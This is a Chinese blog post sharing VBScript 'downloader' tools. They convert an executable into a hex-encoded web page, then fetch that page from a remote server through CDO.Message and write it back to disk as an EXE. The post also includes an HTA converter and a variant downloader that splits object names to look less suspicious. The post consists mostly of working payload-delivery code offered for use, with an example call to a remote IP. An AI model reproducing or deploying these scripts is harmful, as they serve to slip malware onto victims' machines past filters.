最新版利用CDO.Message做的vbs下载者

168 阅读 0 评论 111 点赞

我是靠谱客的博主眼睛大海燕，最近开发中收集的这篇文章主要介绍最新版利用CDO.Message做的vbs下载者，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

vbs下载者有很多了，我这里是一个伟大的发明，利用CDO.Message做的vbs下载者。伟大是装B的意思。
NP先把代码写完了，详情看这里：http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西，说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制
================================================

复制代码代码如下:

 
'code by xiaolu 
'change by NetPatch 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
do while 1 
fname=arg(0) 
err.number=0 
Set Ado = CreateObject("adodb.stream") 
With Ado 
.Type = 1 
.open 
.loadfromfile fname 
ss = .read 
End With 
if err.number<>0 then 
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit 
else 
exit do 
end if 
loop 
if fname="" then Wscript.quit 
Set Fso=CreateObject("Scripting.FileSystemObject") 
Set File=fso.OpenTextFile(arg(0)&".htm",2, True) 
File.write Bin2Str(ss) 
File.close 
Set fso=nothing 
Ado.close 
set Abo=nothing 
Function Bin2Str(Re) 
For i = 1 To lenB(Re) 
bt = AscB(MidB(Re, i, 1)) 
if bt < 16 Then Bin2Str=Bin2Str&"0" 
Bin2Str=Bin2Str & Hex(bt) 
Next 
End Function 

======================================
下载者 down.vbs
=============

复制代码代码如下:

 
on error resume next 
set arg=wscript.arguments 
if arg.count=0 then wscript.quit 
'code by NetPatch 
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe 
Set Mail1 = CreateObject("CDO.Message") 
Mail1.CreateMHTMLBody arg(0),31 
ss= Mail1.HTMLBody 
Set Mail1 = Nothing 
Set RS=CreateObject("ADODB.Recordset") 
L=Len(ss)/2 
RS.Fields.Append "m",205,L 
RS.Open:RS.AddNew 
RS("m")=ss&ChrB(0) 
RS.Update 
ss=RS("m").GetChunk(L) 
Set s=CreateObject("ADODB.Stream") 
with s 
.Mode = 3 
.Type = 1 
.Open() 
.Write ss 
.SaveToFile arg(1),2 
end with 

==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法：
1.exe2hex.vbs 把exe转成十六进制，放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe

由于NP写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。
＝＝＝＝＝＝＝用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝

复制代码代码如下:

 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<head> 
<title>package file v0.1</title> 
<meta http-equiv="Content-Type" content="text/html; charset=GB2312"> 
<HTA:APPLICATION 
ID="package file v0.1" 
APPLICATIONNAME="package file v0.1" 
VERSION="0.1" 
SCROLL="no" 
INNERBORDER="no" 
CONTEXTMENU="yes" 
CAPTION="yes" 
ICON="no" 
SHOWINTASKBAR="yes" 
SINGLEINSTANCE="yes" 
SYSMENU="yes" 
MAXIMIZEBUTTON ="no" 
WINDOWSTATE="normal" 
NAVIGABLE="yes" 
/> 
<SCRIPT LANGUAGE="VBScript"> 
function transfert() 
dim filename 
filename = document.getElementById("srcFile").value 
if len(filename)>0 then 
dim oReq 
'on error resume next 
'//创建XMLHTTP对象 
set oReq = CreateObject("MSXML2.XMLHTTP") 
oReq.open "get","file:\\" & filename,false 
oReq.send 
ff = oReq.responseBody 
dim u,s,kk 
u = lenb(ff) 
redim kk(u-1) 
for i=0 to u-1 
s = hex(ascb(midb(ff,i+1,1))) 
if len(s)<2 then 
s = "0" & s 
end if 
'kk = kk & s 
kk(i) = s 
next 
make filename,join(kk,"") 
else 
document.getElementById("srcFile").focus 
msgbox "请选择要压缩的文件",16,"提示" 
end if 
end function 
function make(filename,data) 
dim htm,file 
file = mid(filename,instrrev(filename,"\")+1) 
htm = htm & data 
dim fso,f 
dim this_file 
this_file = file & "-pf.htm" 
Set fso = CreateObject("Scripting.FileSystemObject") 
Set f = fso.OpenTextFile(this_file, 2, True) 
f.Write htm 
msgbox "生成文件" & this_file & "成功！",64,"生成" 
end function 
</SCRIPT> 
</head> 
<body marginleft=0 marginright=0 onload="window.resizeTo 389,145 "> 
请选择文件：<input type=file id="srcFile" style="width:260px;"><br><br> 
<input type=button value=" 转换 " onclick="transfert"> <input type=button value=" 关闭 " onclick="window.close"> 
</body> 
</html> 

=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上，用NP写的那个下载生成的htm也可以，代码更少＝＝＝＝＝＝＝＝＝

复制代码代码如下:

 
'//保存文件 
function saveFile(filename,str) 
set adodbStream = CreateObject("ADODB" & "." & "Stream") 
adodbStream.Type= 1 
adodbStream.Open 
adodbStream.write str 
adodbStream.SaveToFile filename,2 
adodbStream.Close 
end function 
'//VB数组转变成二进制格式 
Function MultiByteToBinary(MultiByte) 
Dim RS, LMultiByte, Binary 
Const adLongVarBinary = 205 
Set RS = CreateObject("ADODB.Recordset") 
LMultiByte = LenB(MultiByte) 
If LMultiByte>0 Then 
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte 
RS.Open 
RS.AddNew 
RS("mBinary").AppendChunk MultiByte & ChrB(0) 
RS.Update 
Binary = RS("mBinary").GetChunk(LMultiByte) 
End If 
MultiByteToBinary = Binary 
End Function 

function exec() 
'//屏蔽错误 
on error resume Next 
Set args = WScript.Arguments 
if args.Count = 0 then 
WScript.Echo "Usage: CScript down.vbs url c:\1.exe" 
WScript.Quit 1 
end If 
dim data,t,kk,filename,ss 
Set Mail1 = CreateObject("CDO.Message") 
Mail1.CreateMHTMLBody args.Item(0) ,31 
'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31 
ss= Mail1.HTMLBody 
Set Mail1=nothing 

'//得到数据 
data = ss 
'//得到文件名 
filename = args.Item(1) 
'//得到数据长度 
u = len(data) 
'//获得文件数组 
for i=1 to u step 2 
t = mid(data,i,2) 
kk = kk & ChrB(clng("&H" & t)) 
next 
'//转变成二进制格式 
dataArry = MultiByteToBinary(kk) 
'//保存文件 
saveFile filename,dataArry 

end function 
exec() 